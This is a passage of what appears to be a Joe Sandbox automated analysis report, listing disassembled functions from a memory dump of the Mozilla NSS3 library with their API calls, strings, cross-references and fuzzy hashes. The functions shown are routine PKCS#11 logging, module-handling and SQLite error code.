Opcode Fuzzy Hash: 42c84733843d5fc789c65329230751bcfdba4333118d82db8e1e9b0158a0969e
Instruction Fuzzy Hash: 6B31F671602208ABDB00DF54DE8CFAE3775AB4631CF084434E909ABB41DB349908CBBE

Function 6C682DD0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C682DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C682E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C682E33

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C682E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C682E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C682E81

Strings

ulPinLen = %d, xrefs: 6C682E7C
pPin = 0x%p, xrefs: 6C682E63
C_InitPIN, xrefs: 6C682DF1
hSession = 0x%x, xrefs: 6C682E0E, 6C682E1E
nvl, xrefs: 6C682E99, 6C682EC4
(CK_INVALID_HANDLE), xrefs: 6C682E2C

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN$nvl
API String ID: 1003633598-921645966
Opcode ID: 8c643f37c48795138967a83f2fb075706d764ebd002dffc4f033cf70639d0dc1
Instruction ID: 54288f16d8b6405a2c04b4dc9760ccf5b39bb468fcb0ce6a0f6260b157164ecb
Opcode Fuzzy Hash: 8c643f37c48795138967a83f2fb075706d764ebd002dffc4f033cf70639d0dc1
Instruction Fuzzy Hash: 7731E275602218ABDB109F55DE4CF8A3BB5EB4635CF084034E809ABB51DB309949CBBE

Function 6C687E00 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6C687E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C687E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C687E63

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C687E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C687E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C687EB1

Strings

pPart = 0x%p, xrefs: 6C687E93
hSession = 0x%x, xrefs: 6C687E3E, 6C687E4E
nvl, xrefs: 6C687EC9, 6C687EF7
(CK_INVALID_HANDLE), xrefs: 6C687E5C
C_VerifyUpdate, xrefs: 6C687E21
ulPartLen = %d, xrefs: 6C687EAC

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate$nvl
API String ID: 1003633598-1814329762
Opcode ID: b195bd6893e7f8c7c8651530fbfc99283caac2752e18f0f5197e2602b27620e9
Instruction ID: 9468a547c1a4c93a8a404c9b46335dd743b5fdc2e74ba880eba108c9a62bcd10
Opcode Fuzzy Hash: b195bd6893e7f8c7c8651530fbfc99283caac2752e18f0f5197e2602b27620e9
Instruction Fuzzy Hash: DE31B274B02118ABDB109F55DE4CF8A3BB1AB46358F084034F909ABA51DB309D09CBBE

Function 6C686EF0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C686F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C686F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C686F53

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C686F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C686F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C686FA1

Strings

pPart = 0x%p, xrefs: 6C686F83
hSession = 0x%x, xrefs: 6C686F2E, 6C686F3E
nvl, xrefs: 6C686FB9, 6C686FE7
(CK_INVALID_HANDLE), xrefs: 6C686F4C
C_DigestUpdate, xrefs: 6C686F11
ulPartLen = %d, xrefs: 6C686F9C

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate$nvl
API String ID: 1003633598-2481572597
Opcode ID: 92f62b0c1d33039453350fe174feaafaf8966d4d4f12565d812765df1d333df0
Instruction ID: d35bc0d0a244ac99e0fa54c0c7c61c7918020506b830ad2bbd48e3b9cb85113c
Opcode Fuzzy Hash: 92f62b0c1d33039453350fe174feaafaf8966d4d4f12565d812765df1d333df0
Instruction Fuzzy Hash: AB31C475612158AFDB009F15DE4CF8A3BB2AB4235DF084035E909ABA51DB30D948CBBE

Function 6C687F30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyFinal), ref: 6C687F56
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C687F84
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C687F93

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C687FA9
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C687FC8
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C687FE1

Strings

C_VerifyFinal, xrefs: 6C687F51
hSession = 0x%x, xrefs: 6C687F6E, 6C687F7E
nvl, xrefs: 6C687FF9, 6C688027
(CK_INVALID_HANDLE), xrefs: 6C687F8C
ulSignatureLen = %d, xrefs: 6C687FDC
pSignature = 0x%p, xrefs: 6C687FC3

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pSignature = 0x%p$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_VerifyFinal$nvl
API String ID: 1003633598-406126234
Opcode ID: 4e30c1d501b75f8fb71495ec16c4fa605a74a30091850ab974a99ae56588d62c
Instruction ID: 97c9f819b8b64d4b49fde6f5ca08714c7d8272612ea73c80dc2f133d6e59f10e
Opcode Fuzzy Hash: 4e30c1d501b75f8fb71495ec16c4fa605a74a30091850ab974a99ae56588d62c
Instruction Fuzzy Hash: 6631B271702158ABDB109F56DE4CF8A3BB1AB46359F044035F809ABA11DB30A948CBBE

Function 6C64AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C64AF47

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

FreeLibrary.KERNEL32(?), ref: 6C64AF6D
free.MOZGLUE(?), ref: 6C64AFA4
free.MOZGLUE(?), ref: 6C64AFAA
PR_ExitMonitor.NSS3 ref: 6C64AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C64AFF5
PR_ExitMonitor.NSS3 ref: 6C64B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C64B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C64B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C64B03C

Strings

Unloaded library %s, xrefs: 6C64B023
%s decr => %d, xrefs: 6C64AFF0

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 85e0e32acd37585fb4923a3489073608a21f022ec7ee8fb132514757a798e274
Instruction ID: 4052977f948da2556666b9c4f95db5b8d006a66feda73761434380debadff623
Opcode Fuzzy Hash: 85e0e32acd37585fb4923a3489073608a21f022ec7ee8fb132514757a798e274
Instruction Fuzzy Hash: 473103B4A04101BBEB009F61DC48E5AB775EB4670DB18C135EC0687A41F722E824C7AD

Function 6C696C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C69781D,00000000,6C68BE2C,?,6C696B1D,?,?,?,?,00000000,00000000,6C69781D), ref: 6C696C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C69781D,?,6C68BE2C,?), ref: 6C696C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C69781D), ref: 6C696C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C696C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C696C96

Part of subcall function 6C641240: TlsGetValue.KERNEL32(00000040,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641267
Part of subcall function 6C641240: EnterCriticalSection.KERNEL32(?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C64127C
Part of subcall function 6C641240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641291
Part of subcall function 6C641240: PR_Unlock.NSS3(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C6412A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C696CAA

Strings

NSS_DEFAULT_DB_TYPE, xrefs: 6C696C91
dbm, xrefs: 6C696CA4
rdb:, xrefs: 6C696C69
extern:, xrefs: 6C696C7E
dbm:, xrefs: 6C696C3A
sql:, xrefs: 6C696C52

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: c196fb9460011e818bc2b35c1378a8d3b495fdd042ff49280a1e2b73dd4b63e2
Instruction ID: 0fe2c62c29fcbf0ef25a135404f7e84b729a72df7edb3cf82263d452de9dfbd1
Opcode Fuzzy Hash: c196fb9460011e818bc2b35c1378a8d3b495fdd042ff49280a1e2b73dd4b63e2
Instruction Fuzzy Hash: D301A2A170630277FA4027BA7E4AF66355C9F41259F144531FE04E0981EB92E61480E9

Function 6C6A4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C6678F8), ref: 6C6A4E6D

Part of subcall function 6C6409E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C6406A2,00000000,?), ref: 6C6409F8
Part of subcall function 6C6409E0: malloc.MOZGLUE(0000001F), ref: 6C640A18
Part of subcall function 6C6409E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C640A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C6678F8), ref: 6C6A4ED9

Part of subcall function 6C695920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C697703,?,00000000,00000000), ref: 6C695942
Part of subcall function 6C695920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C697703), ref: 6C695954
Part of subcall function 6C695920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C69596A
Part of subcall function 6C695920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C695984
Part of subcall function 6C695920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C695999
Part of subcall function 6C695920: free.MOZGLUE(00000000), ref: 6C6959BA
Part of subcall function 6C695920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C6959D3
Part of subcall function 6C695920: free.MOZGLUE(00000000), ref: 6C6959F5
Part of subcall function 6C695920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C695A0A
Part of subcall function 6C695920: free.MOZGLUE(00000000), ref: 6C695A2E
Part of subcall function 6C695920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C695A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4EB3

Part of subcall function 6C6A4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C6A4EB8,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A484C
Part of subcall function 6C6A4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C6A4EB8,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A486D
Part of subcall function 6C6A4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C6A4EB8,?), ref: 6C6A4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4EC0

Part of subcall function 6C6A4470: TlsGetValue.KERNEL32(00000000,?,6C667296,00000000), ref: 6C6A4487
Part of subcall function 6C6A4470: EnterCriticalSection.KERNEL32(?,?,?,6C667296,00000000), ref: 6C6A44A0
Part of subcall function 6C6A4470: PR_Unlock.NSS3(?,?,?,?,6C667296,00000000), ref: 6C6A44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F8F
PK11_UpdateSlotAttribute.NSS3(?,6C77DCB0,00000000), ref: 6C6A4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C6A501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A506B

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 306bf7aacf141ee09f79a1ecf42902009a74b359ca8103d0047559dbe89b2749
Instruction ID: 92bd4522a208fcd338fb28edf80d380f17c0a449611768c9f1f27572a16d81e7
Opcode Fuzzy Hash: 306bf7aacf141ee09f79a1ecf42902009a74b359ca8103d0047559dbe89b2749
Instruction Fuzzy Hash: 8D5124B1D00602ABEB019FA5EC01AAA76B4FF0635CF144535E80682A11FB71DD56CB9E

Function 6C64ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64ACE2
malloc.MOZGLUE(00000001), ref: 6C64ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C64AD02
TlsGetValue.KERNEL32 ref: 6C64AD3C
calloc.MOZGLUE(00000001,?), ref: 6C64AD8C
PR_Unlock.NSS3 ref: 6C64ADC0
free.MOZGLUE(00000000), ref: 6C64AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C64AE58
free.MOZGLUE(00000000), ref: 6C64AE69
free.MOZGLUE(?), ref: 6C64AE78
PR_Unlock.NSS3 ref: 6C64AE8C
free.MOZGLUE(?), ref: 6C64AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C64AEC7

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 84f6e60270b873b5bf19e335ede44e8364a518f43c777defb0ce42703ea2c3ad
Instruction ID: 6106790eaf8e23609cd09d723854ff11c9532eb50bce59898821e2ab9ce1c20f
Opcode Fuzzy Hash: 84f6e60270b873b5bf19e335ede44e8364a518f43c777defb0ce42703ea2c3ad
Instruction Fuzzy Hash: 0051CEB1E01216ABDF00DFA8DC45AAE77B4BB06349F14C135D814A7B12E731A915CBEE

Function 6C724C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C724CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C724CFD
sqlite3_value_text16.NSS3(?), ref: 6C724D44

Strings

another row available, xrefs: 6C724D20
invalid, xrefs: 6C724CF1
bad parameter or other API misuse, xrefs: 6C724D05
out of memory, xrefs: 6C724C78, 6C724C9E
API call with %s database connection pointer, xrefs: 6C724CF6
no more rows available, xrefs: 6C724D2E
abort due to ROLLBACK, xrefs: 6C724D27, 6C724D33
unknown error, xrefs: 6C724D56

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 3507746ccf8fa93d6c10d310b67e49ebcf88de9919d69bc53533051726c1ce75
Instruction ID: d20f984e5d4986f1caa022d4c81b56f581435f2f232f62a3877840c1ca14a411
Opcode Fuzzy Hash: 3507746ccf8fa93d6c10d310b67e49ebcf88de9919d69bc53533051726c1ce75
Instruction Fuzzy Hash: A531CB73E08811A7D7084A2CAB127A57721B783318F150535C9244BF55C7BCAC91B7E6

Function 6C682CD0 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C682CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C682D07

Part of subcall function 6C7609D0: PR_Now.NSS3 ref: 6C760A22
Part of subcall function 6C7609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C760A35
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C760A66
Part of subcall function 6C7609D0: PR_GetCurrentThread.NSS3 ref: 6C760A70
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C760A9D
Part of subcall function 6C7609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C760AC8
Part of subcall function 6C7609D0: PR_vsmprintf.NSS3(?,?), ref: 6C760AE8
Part of subcall function 6C7609D0: EnterCriticalSection.KERNEL32(?), ref: 6C760B19
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C760B48
Part of subcall function 6C7609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C760C76
Part of subcall function 6C7609D0: PR_LogFlush.NSS3 ref: 6C760C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C682D22

Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(?), ref: 6C760B88
Part of subcall function 6C7609D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C760C5D
Part of subcall function 6C7609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C760C8D
Part of subcall function 6C7609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C760C9C
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(?), ref: 6C760CD1
Part of subcall function 6C7609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C760CEC
Part of subcall function 6C7609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C760CFB
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C760D16
Part of subcall function 6C7609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C760D26
Part of subcall function 6C7609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C760D35
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C760D65
Part of subcall function 6C7609D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C760D70
Part of subcall function 6C7609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C760D90
Part of subcall function 6C7609D0: free.MOZGLUE(00000000), ref: 6C760D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C682D3B

Part of subcall function 6C7609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C760BAB
Part of subcall function 6C7609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C760BBA
Part of subcall function 6C7609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C760D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C682D54

Part of subcall function 6C7609D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C760BCB
Part of subcall function 6C7609D0: EnterCriticalSection.KERNEL32(?), ref: 6C760BDE
